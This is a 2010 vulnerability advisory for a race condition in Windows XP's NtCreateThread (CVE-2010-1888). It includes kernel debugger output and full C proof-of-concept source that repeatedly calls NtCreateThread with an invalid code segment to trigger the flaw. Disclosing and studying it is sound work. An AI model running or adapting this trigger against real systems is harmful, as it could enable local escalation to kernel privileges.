Microsoft Windows nt!NtCreateThread Race Condition

`Microsoft Windows nt!NtCreateThread race condition with invalid code segment  
----------------------------------------------------------------------------  
  
CVE-2010-1888  
  
Creating a new thread on windows involves passing several structures to  
NtCreateThread(). These structures describe the execution state of the new  
thread, and are setup transparently by the system libraries when using the  
CreateThread() API. One of these structures is called CONTEXT, which contains  
the register values of the new thread.  
  
kd> dt nt!_CONTEXT  
+0x000 ContextFlags : Uint4B  
+0x004 Dr0 : Uint4B  
+0x008 Dr1 : Uint4B  
+0x00c Dr2 : Uint4B  
+0x010 Dr3 : Uint4B  
+0x014 Dr6 : Uint4B  
+0x018 Dr7 : Uint4B  
+0x01c FloatSave : _FLOATING_SAVE_AREA  
+0x08c SegGs : Uint4B  
+0x090 SegFs : Uint4B  
+0x094 SegEs : Uint4B  
+0x098 SegDs : Uint4B  
+0x09c Edi : Uint4B  
+0x0a0 Esi : Uint4B  
+0x0a4 Ebx : Uint4B  
+0x0a8 Edx : Uint4B  
+0x0ac Ecx : Uint4B  
+0x0b0 Eax : Uint4B  
+0x0b4 Ebp : Uint4B  
+0x0b8 Eip : Uint4B  
+0x0bc SegCs : Uint4B  
+0x0c0 EFlags : Uint4B  
+0x0c4 Esp : Uint4B  
+0x0c8 SegSs : Uint4B  
+0x0cc ExtendedRegisters : [512] UChar  
  
Obviously the state must be validated, otherwise you could simply set SegCs to  
to rpl0, and execute code with kernel privileges.  
  
I discovered a race condition during this validation stage by accident when  
checking the validation looked sane, and was able to restore an illegal  
execution state. I havn't investigated the root cause, but it's self evident  
this is going to be exploitable.  
  
kd> vertarget  
Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible  
Product: WinNt, suite: TerminalServer SingleUserTS  
Built by: 2600.xpsp_sp3_gdr.100216-1514  
Machine Name:  
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0  
Debug session time: Sat Aug 7 23:25:27.564 2010 (GMT+2)  
System Uptime: 0 days 0:04:15.492  
kd> .lastevent  
Last event: Access violation - code c0000005 (!!! second chance !!!)  
debugger time: Sat Aug 7 23:27:22.595 2010 (GMT+2)  
kd> r  
eax=00000000 ebx=5f5b1044 ecx=0000003d edx=83f88bff esi=0008c21c edi=98490393  
eip=804df15f esp=b1178800 ebp=b1178800 iopl=0 nv up di pl nz ac pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010016  
nt!Kei386EoiHelper+0x103:  
804df15f 897308 mov dword ptr [ebx+8],esi ds:0023:5f5b104c=????????  
kd> kv  
ChildEBP RetAddr Args to Child   
b1178800 00000d89 badb0d00 b1178800 ff57018b nt!Kei386EoiHelper+0x103 (FPO: [0,0] TrapFrame @ b1178800)  
WARNING: Frame IP not in any known module. Following frames may be wrong.  
8b5d5e5f 00000000 00000000 00000000 00000000 0xd89  
kd> .trap b1178800  
ErrCode = 5f5b1044  
eax=28247c89 ebx=c78b5b10 ecx=24245c89 edx=3c246c89 esi=52ff5511 edi=8b084e8b  
eip=00000d89 esp=8308768b ebp=8b5d5e5f iopl=0 vif nv up ei pl nz ac pe nc  
cs=018b ss=ffcb ds=2444 es=1c24 fs=01ff gs=0c4e efl=0008c21c  
018b:0d89 41 inc cx  
kd> dg @cs  
P Si Gr Pr Lo  
Sel Base Limit Type l ze an es ng Flags  
---- -------- -------- ---------- - -- -- -- -- --------  
018B 00008003 0000f190 <Reserved> 0 Nb By Np Nl 00000000  
kd> wut  
^ Syntax error in 'wut'  
kd> dd 8:@eip L8  
0008:8d8c 41414141 41414141 41414141 41414141  
0008:8d9c 41414141 41414141 41414141 41414141  
  
--------------------  
Affected Software  
------------------------  
At least Microsoft Windows XP is affected.  
  
--------------------  
Consequences  
-----------------------  
  
An unprivileged user may be able to execute arbitrary code with the privileges  
of the kernel.  
  
Example code to trigger this vulnerability is available below.  
  
#include <windows.h>  
#include <stdio.h>  
  
typedef struct {  
HANDLE UniqueProcess;  
HANDLE UniqueThread;  
} CLIENTID;  
  
typedef struct {  
struct {  
PVOID OldStackBase;  
PVOID OldStackLimit;  
} OldInitialTeb;  
PVOID StackBase;  
PVOID StackLimit;  
PVOID StackAllocationBase;  
} INITIAL_TEB;  
  
static VOID InitFirstPage();  
  
int main(int argc, char **argv)  
{  
HANDLE ThreadHandle;  
CONTEXT ThreadContext;  
FARPROC NtCreateThread;  
CLIENTID ClientId;  
INITIAL_TEB InitialTeb;  
ULONG i;  
  
NtCreateThread = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateThread");  
  
fprintf(stderr, "NtCreateThread@%p\n", NtCreateThread);  
  
FillMemory(&InitialTeb, sizeof(InitialTeb), 0x41);  
FillMemory(&ThreadContext, sizeof(ThreadContext), 0x41);  
  
ThreadContext.SegCs = 0xDEADBEEF;  
  
InitFirstPage();  
  
for (;;) {  
NtCreateThread(&ThreadHandle,  
0,  
NULL,  
GetCurrentProcess(),  
&ClientId,  
&ThreadContext,  
&InitialTeb,  
FALSE);  
}  
  
return 0;  
}  
  
static VOID InitFirstPage()  
{  
PVOID BaseAddress;  
ULONG RegionSize;  
NTSTATUS ReturnCode;  
FARPROC NtAllocateVirtualMemory;  
  
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory");  
  
fprintf(stderr, "NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);  
  
RegionSize = 0xf000;  
BaseAddress = (PVOID) 0x00000001;  
  
ReturnCode = NtAllocateVirtualMemory(GetCurrentProcess(),  
&BaseAddress,  
0,  
&RegionSize,  
MEM_COMMIT | MEM_RESERVE,  
PAGE_EXECUTE_READWRITE);  
  
if (ReturnCode != 0) {  
fprintf(stderr, "NtAllocateVirtualMemory() failed to map first page, %#X\n",  
ReturnCode);  
fflush(stderr);  
ExitProcess(1);  
}  
  
fprintf(stderr, "BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush(stderr);  
  
FillMemory(BaseAddress, RegionSize, 0x41);  
  
return;  
}  
  
-------------------  
Credit  
-----------------------  
  
This bug was discovered by Tavis Ormandy.  
  
-------------------  
Greetz  
-----------------------  
  
$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/  
$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.  
$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710  
$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.  
$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.  
  
And all the other elite people I've worked with (sorry, too many to generate!).  
  
-------------------  
Notes  
-----------------------  
  
Approximate time to fix was 270 days. Srsly.  
  
-------------------  
References  
-----------------------  
  
None.  
  
`